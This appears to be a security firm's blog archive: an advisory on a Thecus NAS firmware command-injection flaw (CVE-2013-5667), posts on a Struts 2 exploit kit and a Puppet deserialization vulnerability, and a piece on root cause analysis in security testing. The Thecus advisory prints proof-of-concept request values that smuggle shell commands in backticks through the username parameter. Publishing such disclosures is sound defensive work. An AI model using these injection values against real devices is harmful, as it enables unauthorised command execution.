CVE-2013-5667 Thecus OS Command Injection

Advisory Information

Title: Thecus NAS Server N8800 Firmware 5.03.01 get_userid OS Command Injection
Date published: August 2013
Ref: CVE-2013-5667 CWE-78

Advisory Summary

A lack of input validation allows an attacker to execute OS commands directly on the operating system.

Vendor

Thecus

Affected Software

NAS Server N8800 Firmware 5.03.01

Description of Issue

The application accepts user input through the get_userid parameter that can be used to create OS commands that are redirected to the operating system. An attacker can use this flaw to execute arbitrary commands.

PoC

Standard request:

get_userid=1&username=admin

Response:

{“get_userid”:”1001″,”groupname”:false,”data”:[]}

Command Injection PoC:

1. Write value for user admin to /tmp

get_userid=1&username=admin`echo+admin+>+/tmp/xpto`

2. Display value of /tmp

get_userid=1&username=`cat+/tmp/xpto`

Response:

{“get_userid”:”1001″,”groupname”:false,”data”:[]}

Apache Struts 2 Exploit – have you patched?

Apache Struts 2 Exploit – have you patched?

In early July and then in mid July, Apache Struts 2 released information on two new vulnerabilities.  These recent vulnerabilities for Struts 2 appear to have gone under the radar in terms of patching urgency and active exploitation is now happening in the wild. The vulnerabilities appear to have gone unnoticed because they have received little media attention and the vulnerability description perhaps doesn’t do justice to the potential scope of the vulnerability:

Apache Struts 2 before 2.3.14.1 allows remote attackers to execute arbitrary OGNL code

Of course, the vulnerabilities will have been dealt with through organisations’ patching programs, if they were picked up. But have you assessed the potential impact correctly and taken steps to remediate this issue?

So what’s the true potential impact of the vulnerability if it were exploited?

The vulnerability alone may not be hugely significant, but when put into the context of an attack it can have much greater consequences. The vulnerability allows for some post-exploitation techniques to be utilised, such as installing backdoors and JSP post-exploitation tool kits. This allows for more elaborate and complex attacks to occur.

The true impact of the exploitation of this vulnerability when combined with post-exploitation tool kits could be full compromise of a system with the ability for that system to be used for onward compromise of connected hosts.

How easy is it to use?

7 Elements has discovered an exploit kit designed to target Struts 2 vulnerabilities. Whilst the exploit code itself required reasonable skill to construct, the toolkit enables attackers with a low level of skill to use the toolkit to attack Struts 2 vulnerabilities. The Chinese built toolkit essentially allows an attacker to enter their target via copy and paste, press a button and view the results.

Struts2 exploit code

Struts2 exploit code

(It comes with instructions on how to use the tool in a blog post that can be easily translated via online translators. As such, this isn’t just available to Chinese speaking script kiddies!)

 

The exploit code makes use of the following arbitrary code execution vulnerabilities within Struts 2:

– 2010 S2-005: http://struts.apache.org/development/2.x/docs/s2-005.html (CVE-2010-1870)

– 2011 S2-009: http://struts.apache.org/development/2.x/docs/s2-009.html (CVE-2011-3923)

– 2013 S2-013: http://struts.apache.org/development/2.x/docs/s2-013.html (CVE-2013-1966)

– 2013 S2-016: http://struts.apache.org/development/2.x/docs/s2-016.html (CVE-2013-2251)

 

The vulnerabilities exists due to a lack of proper input validation. Input validation occurs where end user information is not validated before being used by a web application. If an attacker can embed malicious commands in these parameters, the system may execute those commands on behalf of the web application, resulting in the execution of remote code. A more detailed explanation on the inner workings of the exploit can be found here:

http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html

The option to choose which of the four Struts 2 vulnerabilities to exploit indicates that all are still useful to an attacker, and show that vulnerabilities from three years ago are still to be found.

What can you do?

Confirm that your current patching process has identified the need to apply this patch and correctly triaged the effort and priority. If you are yet to deploy a patch, then Apache has “Strongly recommended” that Struts 2 users upgrade to Struts 2.3.15.1. Doing so will address the current vulnerabilities.

If historically your organisation has chosen to not patch and deploy other mitigation techniques such as filtering, revisit these controls to ensure that they are still effective and provide the desired protection from the current Apache Struts 2 Exploit.

Root Cause Analysis

Security Testing Root Cause Analysis:  A New Way of Reporting

At 7 Elements we have introduced an additional way of reporting on the findings from our security tests, Root Cause Analysis.  Whilst root cause analysis is not a new concept, it has not to date been readily applied to security testing output.  We feel it is time for a change.

Current Practice

At present it is standard practice across the industry to report on the findings from security tests individually.  This is of course necessary so that the extent of each vulnerability and the risk it poses can be understood and appropriate remediation applied. However, this only enables organisations to view one vulnerability at a time and thus results in organisations tackling vulnerabilities on a case by case basis.

What is Security Testing Root Cause Analysis?

The causes of vulnerabilities can often be attributed to a single technical cause, i.e. the root cause.  Frequently, vulnerabilities share the same root cause. 7 Elements has developed a new technique that enables us to identify the common technical root causes of vulnerabilities for both Application and Infrastructure findings.  In addition to reporting on individual vulnerabilities, 7 Elements also reports on the number of vulnerabilities attributed to common technical root causes, with individual narrative against each root cause.

RCA

Example of RCA

Why should we use Root Cause Analysis?

The identification of root causes of vulnerabilities enables organisations to take a more strategic view of their vulnerability management and information security practices.  It allows organisations to not only understand where they may have gaps but also why.  This enables organisations to take remediation action to tackle a root cause and thus remediating multiple vulnerabilities in a strategic approach.Through our root cause analysis, organisations frequently find that the majority of their vulnerabilities have only a couple of root causes.  As a result, by tackling one root cause an organisation is able to tackle multiple vulnerabilities with only one remediation action.

Prevention is better than cure though.  By tackling root causes, organisations are able to take preventative action to stop vulnerabilities from arising in the same way in the future and more importantly potentially remediate issues that have yet been identified.

If you would like to know more about how we approach testing and the additional value that we deliver, then please get in touch with our team.

 

Puppet Vulnerability

This week has seen a timely reminder on the importance of effective patch management in information security with the release of a security advisory about a remote code execution Puppet Vulnerability. Organisations needs to ensure that all services and technology platforms are covered, not just the major players.

Would you say ‘yes’ if asked if you have an effective patch management process? Yes for many people would mean that they are aware of the need to patch and take steps to maintain patching levels on core technology platforms such as Microsoft and Oracle. However, what about other key enabling technology in use within the organisation?

Puppet Labs[1] provides IT automation software that enables organisations to standardise builds and deployments and manage compliance activity through centralised patch management. On Tuesday they released information on a remote code execution vulnerability:

When making REST api calls, the puppet master takes YAML from an untrusted
client, deserializes it, and then calls methods on the resulting object. A YAML
payload can be crafted to cause the deserialization to construct an instance of
any class available in the ruby process, which allows an attacker to execute
code contained in the payload.[2]

What does this mean? Well, a malicious individual with internal network access could attack  and gain remote access to the ‘Puppet Master’.

As the ‘Puppet Master’ is the central server that manages all functions and controls the remote machines, gaining remote access to this device could potentially enable an attacker to make changes on all devices within the environment under control of the master. It would even be possible to create new accounts on all of the remote machines that are managed, thereby giving the attacker legitimate credentials on all of these devices.[3]

The ‘Puppet Master’ also functions as a certificate authority by default. So any compromise could also have an impact on the integrity of those certificates.

All in all, quite a headache if this were to be realised. It is a good example of why an organisation should take steps to ensure that as an organisation you have identified all vendors, have a process in place to collate all relevant security related advisories and are able to assess and implement updates in a timely and controlled manner.

Puppet Labs has issued updated software to address this specific vulnerability and details can be found here.